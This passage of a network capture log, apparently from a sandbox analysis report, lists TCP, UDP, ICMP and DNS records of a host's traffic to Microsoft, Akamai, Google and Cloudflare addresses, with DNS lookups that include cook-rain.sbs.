Nov 18, 2024 20:22:14.184415102 CET	443	50070	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.184441090 CET	50070	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.184446096 CET	443	50070	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.242547035 CET	443	50071	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.251460075 CET	50074	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.251491070 CET	443	50074	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.251549959 CET	50074	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.265661001 CET	50075	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.265721083 CET	443	50075	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.265818119 CET	50075	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.285990953 CET	50071	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.292069912 CET	443	50069	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.292102098 CET	443	50069	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.292117119 CET	443	50069	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.292161942 CET	50069	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.292180061 CET	443	50069	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.292208910 CET	50069	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.292227983 CET	50069	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.292999983 CET	443	50069	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.293050051 CET	50069	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.293056965 CET	443	50069	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.293072939 CET	443	50069	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.293116093 CET	50069	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.301213026 CET	50071	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.301223040 CET	443	50071	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.304830074 CET	50071	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.304840088 CET	443	50071	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.305061102 CET	50074	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.305072069 CET	443	50074	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.305167913 CET	50075	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.305192947 CET	443	50075	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.309113026 CET	50069	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.309137106 CET	443	50069	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.309150934 CET	50069	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.309159040 CET	443	50069	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.317498922 CET	443	50073	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.319864035 CET	50073	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.319885015 CET	443	50073	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.323189974 CET	50073	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.323195934 CET	443	50073	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.326579094 CET	50076	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.326606989 CET	443	50076	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.326680899 CET	50076	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.329961061 CET	50076	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.329977036 CET	443	50076	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.460316896 CET	443	50073	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.460387945 CET	443	50073	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.460443020 CET	50073	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.460468054 CET	443	50073	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.460530996 CET	443	50073	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.460585117 CET	50073	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.460697889 CET	50073	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.460714102 CET	443	50073	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.464929104 CET	50077	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.464979887 CET	443	50077	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.465080023 CET	50077	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.465435982 CET	50077	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.465459108 CET	443	50077	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.644361019 CET	443	50071	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.644386053 CET	443	50071	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.644399881 CET	443	50071	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.644414902 CET	443	50071	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.644447088 CET	443	50071	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.644457102 CET	50071	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.644475937 CET	443	50071	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.644495010 CET	50071	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.644519091 CET	50071	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.677584887 CET	443	50071	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.677632093 CET	443	50071	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.677671909 CET	50071	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.677687883 CET	443	50071	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.677710056 CET	443	50071	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.677732944 CET	50071	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.677763939 CET	50071	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.678029060 CET	50071	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.678041935 CET	443	50071	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.678050041 CET	50071	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.678055048 CET	443	50071	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.680934906 CET	50078	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.680960894 CET	443	50078	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:14.681035995 CET	50078	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.681178093 CET	50078	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:14.681191921 CET	443	50078	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.045016050 CET	443	50075	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.045488119 CET	50075	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.045526981 CET	443	50075	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.046005964 CET	50075	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.046013117 CET	443	50075	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.061872005 CET	443	50076	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.062469959 CET	50076	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.062484026 CET	443	50076	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.062905073 CET	50076	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.062911034 CET	443	50076	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.064706087 CET	443	50074	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.064990044 CET	50074	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.065001965 CET	443	50074	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.065320969 CET	50074	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.065325022 CET	443	50074	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.177167892 CET	443	50075	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.177225113 CET	443	50075	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.177344084 CET	50075	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.177551031 CET	50075	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.177551031 CET	50075	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.177582979 CET	443	50075	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.177597046 CET	443	50075	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.180725098 CET	50079	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.180763006 CET	443	50079	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.180856943 CET	50079	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.181297064 CET	50079	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.181310892 CET	443	50079	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.192291975 CET	443	50076	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.192372084 CET	443	50076	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.192475080 CET	50076	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.192718029 CET	50076	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.192738056 CET	443	50076	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.192749977 CET	50076	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.192755938 CET	443	50076	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.195770979 CET	50080	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.195862055 CET	443	50080	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.195964098 CET	50080	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.196141958 CET	50080	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.196171999 CET	443	50080	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.199651003 CET	443	50074	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.199722052 CET	443	50074	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.199877024 CET	50074	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.199898958 CET	50074	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.199908972 CET	443	50074	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.199923992 CET	50074	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.199928045 CET	443	50074	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.202172995 CET	50081	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.202236891 CET	443	50081	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.202471972 CET	50081	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.202471972 CET	50081	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.202508926 CET	443	50081	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.211577892 CET	443	50077	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.212188005 CET	50077	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.212212086 CET	443	50077	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.212613106 CET	50077	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.212630987 CET	443	50077	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.351134062 CET	443	50077	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.351294994 CET	443	50077	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.351469994 CET	50077	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.351536989 CET	50077	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.351536989 CET	50077	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.351557016 CET	443	50077	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.351567984 CET	443	50077	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.354120970 CET	50082	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.354191065 CET	443	50082	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.354290962 CET	50082	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.354424000 CET	50082	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.354444981 CET	443	50082	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.426995039 CET	443	50078	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.427632093 CET	50078	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.427644014 CET	443	50078	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.428018093 CET	50078	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.428023100 CET	443	50078	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.558101892 CET	443	50078	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.558149099 CET	443	50078	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.558202982 CET	443	50078	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.558290005 CET	50078	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.558546066 CET	50078	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.558547020 CET	50078	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.558563948 CET	443	50078	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.558572054 CET	443	50078	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.915529966 CET	443	50079	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.916311979 CET	50079	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.916337013 CET	443	50079	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.916670084 CET	50079	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.916675091 CET	443	50079	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.928674936 CET	443	50081	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.929105997 CET	50081	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.929133892 CET	443	50081	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.929483891 CET	50081	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.929488897 CET	443	50081	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.945358038 CET	443	50080	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.945892096 CET	50080	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.945913076 CET	443	50080	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:15.946357012 CET	50080	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:15.946368933 CET	443	50080	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:16.044778109 CET	443	50079	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:16.044874907 CET	443	50079	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:16.045173883 CET	50079	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:16.045217037 CET	50079	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:16.045217037 CET	50079	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:16.045248032 CET	443	50079	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:16.045258045 CET	443	50079	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:16.057184935 CET	443	50081	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:16.057310104 CET	443	50081	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:16.057497025 CET	50081	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:16.057533979 CET	50081	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:16.057553053 CET	443	50081	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:16.057563066 CET	50081	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:16.057569981 CET	443	50081	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:16.086962938 CET	443	50080	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:16.087054014 CET	443	50080	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:16.087125063 CET	50080	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:16.087338924 CET	50080	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:16.087363005 CET	443	50080	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:16.087376118 CET	50080	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:16.087383032 CET	443	50080	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:16.117254019 CET	443	50082	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:16.117844105 CET	50082	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:16.117861986 CET	443	50082	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:16.118309021 CET	50082	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:16.118319988 CET	443	50082	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:16.251389980 CET	443	50082	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:16.251617908 CET	443	50082	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:16.251692057 CET	50082	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:16.251740932 CET	50082	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:16.251769066 CET	443	50082	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:16.251794100 CET	50082	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:22:16.251806974 CET	443	50082	13.107.246.45	192.168.2.5
Nov 18, 2024 20:22:17.132752895 CET	49873	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:22:17.132816076 CET	443	49873	23.1.237.91	192.168.2.5
Nov 18, 2024 20:22:17.132869005 CET	49873	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:22:17.132889032 CET	443	49873	23.1.237.91	192.168.2.5
Nov 18, 2024 20:22:17.133143902 CET	50083	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:22:17.133177042 CET	443	50083	23.1.237.91	192.168.2.5
Nov 18, 2024 20:22:17.133256912 CET	50083	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:22:17.133553028 CET	50083	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:22:17.133596897 CET	443	50083	23.1.237.91	192.168.2.5
Nov 18, 2024 20:22:17.133646011 CET	50083	443	192.168.2.5	23.1.237.91
Nov 18, 2024 20:22:45.781861067 CET	50085	443	192.168.2.5	142.250.185.132
Nov 18, 2024 20:22:45.781974077 CET	443	50085	142.250.185.132	192.168.2.5
Nov 18, 2024 20:22:45.782053947 CET	50085	443	192.168.2.5	142.250.185.132
Nov 18, 2024 20:22:45.782301903 CET	50085	443	192.168.2.5	142.250.185.132
Nov 18, 2024 20:22:45.782340050 CET	443	50085	142.250.185.132	192.168.2.5
Nov 18, 2024 20:22:46.631954908 CET	443	50085	142.250.185.132	192.168.2.5
Nov 18, 2024 20:22:46.632242918 CET	50085	443	192.168.2.5	142.250.185.132
Nov 18, 2024 20:22:46.632256985 CET	443	50085	142.250.185.132	192.168.2.5
Nov 18, 2024 20:22:46.632702112 CET	443	50085	142.250.185.132	192.168.2.5
Nov 18, 2024 20:22:46.633158922 CET	50085	443	192.168.2.5	142.250.185.132
Nov 18, 2024 20:22:46.633234024 CET	443	50085	142.250.185.132	192.168.2.5
Nov 18, 2024 20:22:46.675106049 CET	50085	443	192.168.2.5	142.250.185.132
Nov 18, 2024 20:22:56.632503986 CET	443	50085	142.250.185.132	192.168.2.5
Nov 18, 2024 20:22:56.632577896 CET	443	50085	142.250.185.132	192.168.2.5
Nov 18, 2024 20:22:56.632654905 CET	50085	443	192.168.2.5	142.250.185.132
Nov 18, 2024 20:22:56.771343946 CET	50085	443	192.168.2.5	142.250.185.132
Nov 18, 2024 20:22:56.771364927 CET	443	50085	142.250.185.132	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 18, 2024 20:21:09.746644974 CET	65014	53	192.168.2.5	1.1.1.1
Nov 18, 2024 20:21:09.790740967 CET	53	65014	1.1.1.1	192.168.2.5
Nov 18, 2024 20:21:42.324357033 CET	53	63594	1.1.1.1	192.168.2.5
Nov 18, 2024 20:21:42.327286959 CET	53	63390	1.1.1.1	192.168.2.5
Nov 18, 2024 20:21:43.680372000 CET	53	54160	1.1.1.1	192.168.2.5
Nov 18, 2024 20:21:45.723689079 CET	50655	53	192.168.2.5	1.1.1.1
Nov 18, 2024 20:21:45.723841906 CET	53484	53	192.168.2.5	1.1.1.1
Nov 18, 2024 20:21:45.798283100 CET	53	53484	1.1.1.1	192.168.2.5
Nov 18, 2024 20:21:45.798297882 CET	53	50655	1.1.1.1	192.168.2.5
Nov 18, 2024 20:21:46.798149109 CET	61866	53	192.168.2.5	1.1.1.1
Nov 18, 2024 20:21:46.798330069 CET	56426	53	192.168.2.5	1.1.1.1
Nov 18, 2024 20:21:51.133690119 CET	59662	53	192.168.2.5	1.1.1.1
Nov 18, 2024 20:21:51.133857012 CET	56182	53	192.168.2.5	1.1.1.1
Nov 18, 2024 20:21:55.266179085 CET	53	62637	1.1.1.1	192.168.2.5
Nov 18, 2024 20:21:55.777034998 CET	54972	53	192.168.2.5	1.1.1.1
Nov 18, 2024 20:21:55.777209044 CET	52734	53	192.168.2.5	1.1.1.1
Nov 18, 2024 20:22:00.890664101 CET	53	64252	1.1.1.1	192.168.2.5
Nov 18, 2024 20:22:19.810379028 CET	53	60693	1.1.1.1	192.168.2.5
Nov 18, 2024 20:22:41.169555902 CET	53	54605	1.1.1.1	192.168.2.5
Nov 18, 2024 20:22:42.840689898 CET	53	54531	1.1.1.1	192.168.2.5
Nov 18, 2024 20:23:09.063252926 CET	53	64748	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 18, 2024 20:21:43.480143070 CET	192.168.2.5	1.1.1.1	c2e4	(Port unreachable)	Destination Unreachable
Nov 18, 2024 20:21:46.826101065 CET	192.168.2.5	1.1.1.1	c2b5	(Port unreachable)	Destination Unreachable
Nov 18, 2024 20:21:55.814202070 CET	192.168.2.5	1.1.1.1	c276	(Port unreachable)	Destination Unreachable
Nov 18, 2024 20:21:58.185394049 CET	192.168.2.5	1.1.1.1	c265	(Port unreachable)	Destination Unreachable
Nov 18, 2024 20:22:01.958714008 CET	192.168.2.5	1.1.1.1	c265	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 18, 2024 20:21:09.746644974 CET	192.168.2.5	1.1.1.1	0x428f	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 18, 2024 20:21:45.723689079 CET	192.168.2.5	1.1.1.1	0xfc3d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 20:21:45.723841906 CET	192.168.2.5	1.1.1.1	0x1cb6	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 18, 2024 20:21:46.798149109 CET	192.168.2.5	1.1.1.1	0xd438	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 20:21:46.798330069 CET	192.168.2.5	1.1.1.1	0x44e5	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 18, 2024 20:21:51.133690119 CET	192.168.2.5	1.1.1.1	0x3e81	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 18, 2024 20:21:51.133857012 CET	192.168.2.5	1.1.1.1	0xfea3	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 18, 2024 20:21:55.777034998 CET	192.168.2.5	1.1.1.1	0x18f6	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 18, 2024 20:21:55.777209044 CET	192.168.2.5	1.1.1.1	0xd545	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 18, 2024 20:21:09.790740967 CET	1.1.1.1	192.168.2.5	0x428f	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 20:21:09.790740967 CET	1.1.1.1	192.168.2.5	0x428f	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 20:21:45.798283100 CET	1.1.1.1	192.168.2.5	0x1cb6	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 18, 2024 20:21:45.798297882 CET	1.1.1.1	192.168.2.5	0xfc3d	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Nov 18, 2024 20:21:46.816389084 CET	1.1.1.1	192.168.2.5	0x52e	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:21:46.816389084 CET	1.1.1.1	192.168.2.5	0x52e	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:21:46.816389084 CET	1.1.1.1	192.168.2.5	0x52e	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 20:21:46.817359924 CET	1.1.1.1	192.168.2.5	0xd438	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:21:46.817359924 CET	1.1.1.1	192.168.2.5	0xd438	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:21:46.817359924 CET	1.1.1.1	192.168.2.5	0xd438	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:21:46.817359924 CET	1.1.1.1	192.168.2.5	0xd438	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 20:21:46.819859982 CET	1.1.1.1	192.168.2.5	0x44e5	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:21:46.819859982 CET	1.1.1.1	192.168.2.5	0x44e5	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:21:46.825767994 CET	1.1.1.1	192.168.2.5	0x73bc	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:21:48.307357073 CET	1.1.1.1	192.168.2.5	0x732c	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:21:48.307369947 CET	1.1.1.1	192.168.2.5	0x8df1	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:21:48.307369947 CET	1.1.1.1	192.168.2.5	0x8df1	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:21:48.307369947 CET	1.1.1.1	192.168.2.5	0x8df1	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 18, 2024 20:21:51.142303944 CET	1.1.1.1	192.168.2.5	0x3e81	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:21:51.142303944 CET	1.1.1.1	192.168.2.5	0x3e81	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 20:21:51.142303944 CET	1.1.1.1	192.168.2.5	0x3e81	No error (0)	shed.dual-low.s-part-0039.t-0009.t-msedge.net	s-part-0039.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
